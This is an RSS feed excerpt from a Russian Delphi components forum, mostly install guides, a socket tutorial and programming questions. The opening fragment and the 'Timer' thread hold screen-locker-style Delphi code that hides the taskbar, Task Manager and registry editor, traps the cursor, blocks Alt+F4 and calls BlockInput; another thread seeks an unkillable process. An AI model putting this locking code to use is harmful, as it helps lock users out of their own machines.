&lt;br /&gt;&lt;br /&gt; procedure TForm1.Timer1Timer(Sender: TObject&amp;#41;; &lt;br /&gt; var &lt;br /&gt;&amp;nbsp;&amp;nbsp;h:HWND; &lt;br /&gt;&amp;nbsp;&amp;nbsp;curs: TRect; &lt;br /&gt;&amp;nbsp;&amp;nbsp;begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;Form1.FormStyle := fsStayOnTop; &lt;br /&gt;&amp;nbsp;&amp;nbsp;h:=FindWindow(&apos;Progman&apos;,nil&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;ShowWindow(h,sw_hide&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;h:=FindWindow(&apos;Shell_TrayWnd&apos;,nil&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;ShowWindow(h,sw_hide&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;h:=FindWindow(nil,&apos;Ðåäàêòîð ðååñòðà&apos;&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;ShowWindow(h,sw_hide&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;h:=FindWindow(nil,&apos;Íàñòðîéêà ñèñòåìû&apos;&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;ShowWindow(h,sw_hide&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;h:=FindWindow(nil,&apos;Äèñïåò÷åð çàäà÷ Windows&apos;&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;ShowWindow(h,sw_hide&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;SetWindowPos(Handle,HWND_TOPMOST,Left,Top,Width,Height,SWP_NOACTIVATE Or SWP_NOMOVE Or SWP_NOSIZE&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;curs := Rect(Form1.Left+0, Form1.Top+0, Form1.Left + Form1.Width-0, Form1.Top + Form1.Height-0&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;ClipCursor(@curs&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;Windows.Beep(500,600&amp;#41; &lt;br /&gt;&amp;nbsp;&amp;nbsp;end; &lt;br /&gt;&lt;br /&gt; procedure TForm1.FormKeyDown(Sender: TObject; var Key: Word; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Shift: TShiftState&amp;#41;; &lt;br /&gt; begin &lt;br /&gt; if ((ssAlt in Shift&amp;#41; and (Key = VK_F4&amp;#41;&amp;#41; then &lt;br /&gt; Key := 0; &lt;br /&gt; end; &lt;br /&gt;&lt;br /&gt; end. &lt;br /&gt; end.&lt;!--/uzc--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uzcode--&gt;&lt;!--/ust--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uSpoiler--&gt;</content:encoded>
<category>Компоненты Delphi</category>
<dc:creator>satahehok11</dc:creator>
<guid>https://delfcode.ru/forum/18-940-1</guid>
</item>
<item>
<title>Timer</title>
<link>https://delfcode.ru/forum/18-106-1</link>
<pubDate>Mon, 20 Aug 2012 06:31:05 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/18&quot;&gt;Компоненты Delphi&lt;/a&gt;&lt;br /&gt;Описание темы: Системный компонент&lt;br /&gt;Автор темы: Jaw&lt;br /&gt;Автор последнего сообщения: xXxSh@dowxXx&lt;br /&gt;Количество ответов: 6</description>
<content:encoded>Как поставить на таймер выполнение этого кода? &lt;br /&gt; &lt;!--uzcode--&gt;&lt;div class=&quot;bbCodeBlock&quot;&gt;&lt;div class=&quot;bbCodeName&quot; style=&quot;padding-left:5px;font-weight:bold;font-size:7pt&quot;&gt;Code&lt;/div&gt;&lt;div class=&quot;codeMessage&quot; style=&quot;border:1px inset;max-height:200px;overflow:auto;height:expression(this.scrollHeight&lt;5?this.style.height:scrollHeight&gt;200?&apos;200px&apos;:&apos;&apos;+(this.scrollHeight+5)+&apos;px&apos;);&quot;&gt;&lt;!--uzc--&gt;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;unit Unit1;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;interface&amp;nbsp;&amp;nbsp;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;uses&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;Dialogs, StdCtrls;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;type&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;TForm1 = class(TForm&amp;#41;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;private&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;{ Private declarations }&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;public&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;{ Public declarations }&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;end;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;var&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;Form1: TForm1;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;implementation&amp;nbsp;&amp;nbsp;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;{$R *.dfm}&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;procedure BlockInput; external &apos;user32.dll&apos;;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;begin&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;asm&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;push 1&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;call BlockInput&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;end; &lt;br /&gt;&amp;nbsp;&amp;nbsp;end.&lt;!--/uzc--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uzcode--&gt;</content:encoded>
<category>Компоненты Delphi</category>
<dc:creator>Jaw</dc:creator>
<guid>https://delfcode.ru/forum/18-106-1</guid>
</item>
<item>
<title>Библиотека для работы с графами</title>
<link>https://delfcode.ru/forum/18-757-1</link>
<pubDate>Tue, 29 May 2012 04:36:26 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/18&quot;&gt;Компоненты Delphi&lt;/a&gt;&lt;br /&gt;Автор темы: Android&lt;br /&gt;Автор последнего сообщения: Android&lt;br /&gt;Количество ответов: 5</description>
<content:encoded>Товарищи, подскажите библиотеку для работы с графами на делфи, а то для си++ их ваще до фига (LEDA, Boost Graph Library e.t.c.) &lt;br /&gt; Но никаких подобных портов на делфи не нашел... Помогите... Диплом через неделю взялся сделать... Лень самому мутить то, что наверняка уже давно замучено))) Поиск максимального паросочетания на графе мне надо сделать. &lt;br /&gt;&lt;br /&gt; Помогите ссылкой, советом, морально...</content:encoded>
<category>Компоненты Delphi</category>
<dc:creator>Android</dc:creator>
<guid>https://delfcode.ru/forum/18-757-1</guid>
</item>
<item>
<title>Не убиваемый процесс</title>
<link>https://delfcode.ru/forum/18-746-1</link>
<pubDate>Tue, 22 May 2012 15:16:51 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/18&quot;&gt;Компоненты Delphi&lt;/a&gt;&lt;br /&gt;Описание темы: Jwa &amp;amp; Jws&lt;br /&gt;Автор темы: xXxSh@dowxXx&lt;br /&gt;Автор последнего сообщения: xXxSh@dowxXx&lt;br /&gt;Количество ответов: 7</description>
<content:encoded>И снова здравствуйте &lt;img src=&quot;http://s5.ucoz.net/sm/23/biggrin.gif&quot; border=&quot;0&quot; align=&quot;absmiddle&quot; alt=&quot;biggrin&quot; /&gt; &lt;br /&gt;&lt;br /&gt; натолкнулся сегодня на одну статью, вот она: &lt;br /&gt;&lt;br /&gt; &lt;a class=&quot;link&quot; href=&quot;http://u.to/owoVAg&quot; title=&quot;http://blog.delphi-jedi.net/2008/11/08/restrict-access-to-process/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;Restrict access to process&lt;/a&gt; &lt;br /&gt;&lt;br /&gt; в ней говорится примерно следующие: &lt;br /&gt;&lt;br /&gt; Цитирую: &lt;br /&gt; &quot;Следующий код очень прост. Он ограничивает доступ к текущему процессу. Таким образом, ни один другой процесс не сможет открыть дескриптор процесса, и например завершить этот процесс.&quot; &lt;br /&gt;&lt;br /&gt; в коде используются &quot;JWA и JWS&quot; компоненты, а именно: &lt;br /&gt;&lt;br /&gt; JwaWindows, JwsclSecureObjects, JwsclDescriptor, JwsclToken, JwsclTypes, JwsclAcl, JwsclKnownSid; &lt;br /&gt;&lt;br /&gt; все эти компоненты я нашел и скомпилировал добавив в проект их .dcu &lt;br /&gt;&lt;br /&gt; но как я не пытался, процесс все равно убивается, в чем может быть причина? &lt;br /&gt;&lt;br /&gt; вот собственно сам исходник:</content:encoded>
<category>Компоненты Delphi</category>
<dc:creator>xXxSh@dowxXx</dc:creator>
<guid>https://delfcode.ru/forum/18-746-1</guid>
</item>
<item>
<title>Компонент NewAC(New audio components)</title>
<link>https://delfcode.ru/forum/18-662-1</link>
<pubDate>Wed, 29 Feb 2012 08:09:59 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/18&quot;&gt;Компоненты Delphi&lt;/a&gt;&lt;br /&gt;Описание темы: Hide component&lt;br /&gt;Автор темы: GReIIIHuK&lt;br /&gt;Автор последнего сообщения: GReIIIHuK&lt;br /&gt;Количество ответов: 9</description>
<content:encoded>Получилось так, что я скрыл все компоненты из нужной директории, и удалил саму директорию компонента NewAC(в палете). &lt;br /&gt; Теперь после пере установки компонентов они не отображаются на панели инструментов. Есть способ решить данную проблему без пере установки дельфи? &lt;br /&gt;&lt;br /&gt; P.S. знаю что сделал дикую глупость, можете мне об этом не сообщать ^^</content:encoded>
<category>Компоненты Delphi</category>
<dc:creator>GReIIIHuK</dc:creator>
<guid>https://delfcode.ru/forum/18-662-1</guid>
</item>
<item>
<title>Delphi и Майл агент</title>
<link>https://delfcode.ru/forum/18-409-1</link>
<pubDate>Thu, 16 Feb 2012 17:08:41 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/18&quot;&gt;Компоненты Delphi&lt;/a&gt;&lt;br /&gt;Описание темы: компонент для работы с майлагентом в дельфи&lt;br /&gt;Автор темы: vvova15&lt;br /&gt;Автор последнего сообщения: Android&lt;br /&gt;Количество ответов: 6</description>
<content:encoded>вот выкладываю рабочий компонент TmailClient, предназначенный для работы с майлагентом из дельфи. &lt;br /&gt; З.Ы. Просьба на 100 баксов: не пишите спамилок и флудеров - ведь в мэйл ру не дураки сидят и они поменяют протокол если будет многа спама. &lt;br /&gt; старый компонент уже не работает изза этого.</content:encoded>
<category>Компоненты Delphi</category>
<dc:creator>vvova15</dc:creator>
<guid>https://delfcode.ru/forum/18-409-1</guid>
</item>
<item>
<title>установка indy</title>
<link>https://delfcode.ru/forum/18-310-1</link>
<pubDate>Sun, 18 Jul 2010 18:35:59 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/18&quot;&gt;Компоненты Delphi&lt;/a&gt;&lt;br /&gt;Описание темы: установка indy&lt;br /&gt;Автор темы: CraftR15&lt;br /&gt;Автор последнего сообщения: dolphin&lt;br /&gt;Количество ответов: 1</description>
<content:encoded>Итак приступим, к удалению, прежде всего необходимо удалить из опций среды все упоминания о этом компоненте &lt;br /&gt; Component-&gt;Configure Palett удаляем все индивские компоненты! &lt;br /&gt; Из директории делфи обычно это C:&amp;#92;Programm files&amp;#92;borland&amp;#92;DelphiX (X-версия) &lt;br /&gt; В папках удалям все id*.* и также ищем в поиске и удаляем все файлы с именем *indy* Установка &lt;br /&gt; Запустите Delphi , выберите в меню “Component”-&gt;”Install Packages”. В появившемся списке снимите галки с всех пакетов Indy. И затем удалите все пакеты Indy в этом же списке, воспользовавшись кнопкой remove. Затем откройте окно настроек среды: меню “tools-&gt;options-&gt;Library Win32″ и удалите из строки Library path пути к исходным кодам Indy. Затем добавьте в Library path 3 пути: &lt;br /&gt; 1. “&lt;папка, куда вы экспортировали репозиторий Indy&gt;&amp;#92;branches&amp;#92;Tiburon&amp;#92;Lib&amp;#92;System“ &lt;br /&gt; 2. “&lt;папка, куда вы экспортировали репозиторий Indy&gt;&amp;#92;branches&amp;#92;Tiburon&amp;#92;Lib&amp;#92;Core“ &lt;br /&gt; 3. “&lt;папка, куда вы экспортировали репозиторий Indy&gt;&amp;#92;branches&amp;#92;Tiburon&amp;#92;Lib&amp;#92;Protocols“ &lt;br /&gt; Закройте Delphi. Далее найдите в папке, где у вас установлена Delphi исходные коды Indy. Обычно они располагаются в папке “&lt;папка с Delphi&gt;/sources/Indy” и удалите эту папку. Далее в папке Lib, которая располагается по адресу “&lt;папка установки Delphi&gt;/lib” удалите все файлы Indy (поиск по вхождению “Indy” вам в этом поможет).Теперь запустите Delphi, и откройте пакет “IndySystemX0.dpk” (где X - это ваша версия Delphi), который располагается по следующему адресу: “&lt;папка, куда вы экспортировали репозиторий Indy&gt;&amp;#92;branches&amp;#92;Tiburon&amp;#92;Lib&amp;#92;System” и скомпилируйте его. Далее откройте пакет “IndyCoreX0.dpk” (где X- это ваша версия Delphi) из папки “&lt;папка, куда вы экспортировали репозиторий Indy&gt;&amp;#92;branches&amp;#92;Tiburon&amp;#92;Lib&amp;#92;Core” и скомпилируйте его. Теперь откройте и скомпилируйте пакет “IndyProtocolsX0.dpk” (где X - это ваша версия Delphi) , который располагается в папке “&lt;папка, куда вы экспортировали репозиторий Indy&gt;&amp;#92;branches&amp;#92;Tiburon&amp;#92;Lib&amp;#92;Protocols“.Далее откройте пакет “dclIndyCoreX0.dpk”, который располагается в папке “&lt;папка, куда вы экспортировали репозиторий Indy&gt;&amp;#92;branches&amp;#92;Tiburon&amp;#92;Lib&amp;#92;Core” и установите его, также установите пакет “dclIndyProtocolsX0.dpk” из папки “&lt;папка, куда вы экспортировали репозиторий Indy&gt;&amp;#92;branches&amp;#92;Tiburon&amp;#92;Lib&amp;#92;Protocols”. Вот и все, поздравляю, теперь у вас установлена актуальная версия Indy. &lt;p&gt; Последняя инди тут: ftp://indy.fulgan.com/ZIP/indy10.zip</content:encoded>
<category>Компоненты Delphi</category>
<dc:creator>CraftR15</dc:creator>
<guid>https://delfcode.ru/forum/18-310-1</guid>
</item>
<item>
<title>TClientSocket</title>
<link>https://delfcode.ru/forum/18-35-1</link>
<pubDate>Sat, 09 Jan 2010 12:41:59 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/18&quot;&gt;Компоненты Delphi&lt;/a&gt;&lt;br /&gt;Описание темы: Сетевой компонент&lt;br /&gt;Автор темы: dolphin&lt;br /&gt;Автор последнего сообщения: dolphin&lt;br /&gt;Количество ответов: 3</description>
<content:encoded>Введение &lt;p&gt; Данная статья посвящена созданию приложений архитектуры клиент/сервер в Borland Delphi на основе сокетов (&quot;sockets&quot; - гнезда). А написал я эту статью не просто так, а потому что в последнее время этот вопрос очень многих стал интересовать. Пока что затронем лишь создание клиентской части сокетного приложения. &lt;p&gt; Впервые я познакомился с сокетами, если не ошибаюсь, год или полтора назад. Тогда стояла задача разработать прикладной протокол, который бы передавал на серверную машину (работающую на ОС Unix/Linux) запрос и получал ответ по сокетному каналу. Надо заметить, что в отличие от любых других протоколов (FTP, POP, SMTP, HTTP, и т.д.), сокеты - это база для этих протоколов. Таким образом, пользуясь сокетами, можно самому создать (симитировать) и FTP, и POP, и любой другой протокол, причем не обязательно уже созданный, а даже свой собственный! &lt;p&gt; Итак, начнем с теории. Если Вы убежденный практик (и в глаза не можете видеть всяких алгоритмов), то Вам следует пропустить этот раздел. &lt;p&gt; Алгоритм работы с сокетными протоколами &lt;p&gt; Так что же позволяют нам делать сокеты?... Да все что угодно! И в этом одно из главных достоинств этого способа обмена данными в сети. Дело в том, что при работе с сокетом Вы просто посылаете другому компьютеру последовательность символов. Так что этим методом Вы можете посылать как простые сообщения, так и целые файлы! Причем, контролировать правильность передачи Вам не нужно (как это было при работе с COM-портами)! &lt;p&gt; Ниже следует примерная схема работы с сокетами в Дельфи-приложениях &lt;p&gt; Разберем схему подробнее: &lt;br /&gt; Определение св-в Host и Port - чтобы успешно установить соединение, нужно присвоить свойствам Host и Port компонента TClientSocket требуемые значения. Host - это хост-имя (например: nitro.borland.com) либо IP-адрес (например: 192.168.0.88) компьютера, с которым надо соединиться. Port - номер порта (от 1 до 65535) для установления соединения. Обычно номера портов берутся, начиная с 1001 - т.к. номера меньше 1000 могут быть заняты системными службами (например, POP - 110). Подробнее о практической части см.ниже; &lt;br /&gt; Открытие сокета - после того, как Вы назначили свойствам Host и Port соответствующие значения, можно приступить непосредственно к открытию сокета (сокет здесь рассматривается как очередь, в которой содержатся символы, передающиеся от одного компьютера к другому). Для этого можно вызвать метод Open компонента TClientSocket, либо присвоить свойству Active значение True. Здесь полезно ставить обработчик исключительной ситуации на тот случай, если соединиться не удалось. Подробнее об этом можно прочитать ниже, в практической части; &lt;br /&gt; Авторизация - этот пункт можно пропустить, если сервер не требует ввода каких-либо логинов и/или паролей. На этом этапе Вы посылаете серверу свой логин (имя пользователя) и пароль. Но механизм авторизации зависит уже от конкретного сервера; &lt;br /&gt; Посылка/прием данных - это, собственно и есть то, для чего открывалось сокетное соединение. Протокол обмена данными также зависит от сервера; &lt;br /&gt; Закрытие сокета - после всех выполненных операций необходимо закрыть сокет с помощью метода Close компонента TClientSocket (либо присвоить свойству Active значение False).</content:encoded>
<category>Компоненты Delphi</category>
<dc:creator>dolphin</dc:creator>
<guid>https://delfcode.ru/forum/18-35-1</guid>
</item>
<item>
<title>Indy</title>
<link>https://delfcode.ru/forum/18-197-1</link>
<pubDate>Thu, 22 Oct 2009 10:19:30 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/18&quot;&gt;Компоненты Delphi&lt;/a&gt;&lt;br /&gt;Описание темы: Установка,удаление и проблемы связанные с ним!&lt;br /&gt;Автор темы: dolphin&lt;br /&gt;Автор последнего сообщения: Jaw&lt;br /&gt;Количество ответов: 1</description>
<content:encoded>Итак приступим, к удалению, прежде всего необходимо удалить из опций среды все упоминания о этом компоненте &lt;br /&gt; Component-&gt;Configure Palett удаляем все индивские компоненты! &lt;br /&gt; Из директории делфи обычно это C:&amp;#92;Programm files&amp;#92;borland&amp;#92;DelphiX (X-версия) &lt;br /&gt; В папках удалям все id*.* и также ищем в поиске и удаляем все файлы с именем *indy* &lt;p&gt; Установка &lt;br /&gt; Запустите Delphi , выберите в меню “Component”-&gt;”Install Packages”. В появившемся списке снимите галки с всех пакетов Indy. И затем удалите все пакеты Indy в этом же списке, воспользовавшись кнопкой remove. Затем откройте окно настроек среды: меню “tools-&gt;options-&gt;Library Win32″ и удалите из строки Library path пути к исходным кодам Indy. Затем добавьте в Library path 3 пути: &lt;br /&gt; 1. “&lt;папка, куда вы экспортировали репозиторий Indy&gt;&amp;#92;branches&amp;#92;Tiburon&amp;#92;Lib&amp;#92;System“ &lt;br /&gt; 2. “&lt;папка, куда вы экспортировали репозиторий Indy&gt;&amp;#92;branches&amp;#92;Tiburon&amp;#92;Lib&amp;#92;Core“ &lt;br /&gt; 3. “&lt;папка, куда вы экспортировали репозиторий Indy&gt;&amp;#92;branches&amp;#92;Tiburon&amp;#92;Lib&amp;#92;Protocols“ &lt;p&gt; Закройте Delphi. Далее найдите в папке, где у вас установлена Delphi исходные коды Indy. Обычно они располагаются в папке “&lt;папка с Delphi&gt;/sources/Indy” и удалите эту папку. Далее в папке Lib, которая располагается по адресу “&lt;папка установки Delphi&gt;/lib” удалите все файлы Indy (поиск по вхождению “Indy” вам в этом поможет).Теперь запустите Delphi, и откройте пакет “IndySystemX0.dpk” (где X - это ваша версия Delphi), который располагается по следующему адресу: “&lt;папка, куда вы экспортировали репозиторий Indy&gt;&amp;#92;branches&amp;#92;Tiburon&amp;#92;Lib&amp;#92;System” и скомпилируйте его. Далее откройте пакет “IndyCoreX0.dpk” (где X- это ваша версия Delphi) из папки “&lt;папка, куда вы экспортировали репозиторий Indy&gt;&amp;#92;branches&amp;#92;Tiburon&amp;#92;Lib&amp;#92;Core” и скомпилируйте его. Теперь откройте и скомпилируйте пакет “IndyProtocolsX0.dpk” (где X - это ваша версия Delphi) , который располагается в папке “&lt;папка, куда вы экспортировали репозиторий Indy&gt;&amp;#92;branches&amp;#92;Tiburon&amp;#92;Lib&amp;#92;Protocols“.Далее откройте пакет “dclIndyCoreX0.dpk”, который располагается в папке “&lt;папка, куда вы экспортировали репозиторий Indy&gt;&amp;#92;branches&amp;#92;Tiburon&amp;#92;Lib&amp;#92;Core” и установите его, также установите пакет “dclIndyProtocolsX0.dpk” из папки “&lt;папка, куда вы экспортировали репозиторий Indy&gt;&amp;#92;branches&amp;#92;Tiburon&amp;#92;Lib&amp;#92;Protocols”. Вот и все, поздравляю, теперь у вас установлена актуальная версия Indy.</content:encoded>
<category>Компоненты Delphi</category>
<dc:creator>dolphin</dc:creator>
<guid>https://delfcode.ru/forum/18-197-1</guid>
</item>
<item>
<title>Работа с поргрес бар</title>
<link>https://delfcode.ru/forum/18-143-1</link>
<pubDate>Thu, 30 Apr 2009 17:52:53 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/18&quot;&gt;Компоненты Delphi&lt;/a&gt;&lt;br /&gt;Описание темы: D7&lt;br /&gt;Автор темы: dolphin&lt;br /&gt;Автор последнего сообщения: dolphin&lt;br /&gt;Количество ответов: 2</description>
<content:encoded>procedure TForm1.Timer1Timer(Sender: TObject); &lt;br /&gt; begin &lt;br /&gt; Timer1.Enabled := ProgressBar1.Position &lt; ProgressBar1.Max; &lt;br /&gt; ProgressBar1.Position := ProgressBar1.Position + 1; &lt;br /&gt; if ProgressBar1.Position &gt; 100 then &lt;br /&gt; begin &lt;br /&gt; ShowMessage(&apos;Всё&apos;); &lt;br /&gt; end; &lt;br /&gt; end;</content:encoded>
<category>Компоненты Delphi</category>
<dc:creator>dolphin</dc:creator>
<guid>https://delfcode.ru/forum/18-143-1</guid>
</item>
<item>
<title>!!!Правила раздела!!!</title>
<link>https://delfcode.ru/forum/18-107-1</link>
<pubDate>Sat, 21 Mar 2009 09:50:10 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/18&quot;&gt;Компоненты Delphi&lt;/a&gt;&lt;br /&gt;Автор темы: dolphin&lt;br /&gt;Автор последнего сообщения: dolphin&lt;br /&gt;Количество ответов: 0</description>
<content:encoded>В этом разделе обсуждаются только компоненты Delphi и приёмы работы с ними, программы и программный код в других разделах!</content:encoded>
<category>Компоненты Delphi</category>
<dc:creator>dolphin</dc:creator>
<guid>https://delfcode.ru/forum/18-107-1</guid>
</item>
<item>
<title>TICQClient</title>
<link>https://delfcode.ru/forum/18-74-1</link>
<pubDate>Sat, 31 Jan 2009 20:46:09 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/18&quot;&gt;Компоненты Delphi&lt;/a&gt;&lt;br /&gt;Описание темы: ICQ компонент для delphi&lt;br /&gt;Автор темы: dolphin&lt;br /&gt;Автор последнего сообщения: dolphin&lt;br /&gt;Количество ответов: 0</description>
<content:encoded>Обновился TICQClient &lt;br /&gt;&lt;br /&gt; &lt;a class=&quot;link&quot; href=&quot;https://delfcode.ru/load/delphi_komponenty/seti/ticqclient_v_1_35/68-1-0-504&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;Скачать для Delphi 7&lt;/a&gt; &lt;br /&gt; &lt;a class=&quot;link&quot; href=&quot;https://delfcode.ru/load/delphi_komponenty/seti/ticqclient_delphi_2010/68-1-0-605&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;Скачать для Delphi 2010&lt;/a&gt; &lt;br /&gt;&lt;br /&gt; Как установить TICQClient в Delphi 7: &lt;br /&gt; 0) Удалите предыдущий компонент TICQClient, если ставили его &lt;br /&gt; 1) Откройте TICQClient.dpk в Delphi &lt;br /&gt; 2) Перейдите в Menu-&gt;Tools-&gt;Environment Options-&gt;Library &lt;br /&gt; 3) Нажмите кнопку &quot;...&quot; напротив Library path &lt;br /&gt; 4) Добавьте путь в папку, где лежит TICQClient &lt;br /&gt; 5) Вернитесь к окошку открытого dpk &lt;br /&gt; 6) Нажмите Compile &lt;br /&gt; 7) Нажмите Install &lt;br /&gt; 8) Теперь можете использовать компонент ICQClient на вкладке Samples</content:encoded>
<category>Компоненты Delphi</category>
<dc:creator>dolphin</dc:creator>
<guid>https://delfcode.ru/forum/18-74-1</guid>
</item>

</channel>
</rss>